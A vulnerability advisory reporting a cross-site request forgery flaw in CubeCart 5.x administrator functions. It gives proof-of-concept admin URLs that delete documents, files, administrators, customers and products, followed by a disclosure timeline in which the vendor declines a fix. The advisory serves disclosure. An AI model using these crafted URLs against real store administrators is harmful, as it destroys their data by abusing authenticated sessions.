CubeCart 5.x versions contain a flaw that allows a remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions for majority of administrator functions such as adding new user, assigning user to administrative privilege. By using a crafted URL, an attacker may trick the victim into visiting
to his web page to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could
trick the victim into executing arbitrary commands in the context of their session with the application, without further prompting or
verification.
Proof-of-Concept
http://localhost/admin.php?_g=documents&node=index&delete=1 (Delete
file in Site Documents)
http://localhost/admin.php?_g=filemanager&mode=digital&delete=1
(Delete file in File Manager)
http://localhost/admin.php?_g=settings&node=admins&action=edit&admin_id=2
(Delete user)
http://localhost/admin.php?_g=customers&sort%5Bregistered%5D=DESC&action=delete&customer_id=1
(Delete customer user)
http://localhost/admin.php?_g=products&sort%5Bupdated%5D=DESC&delete=1
(Delete product)
Disclosure Timeline:
2012-12-22: Vulnerability disclosed
2012-12-24: The vendor replied that the fix would not be implemented.
2013-01-01: Vulnerability disclosed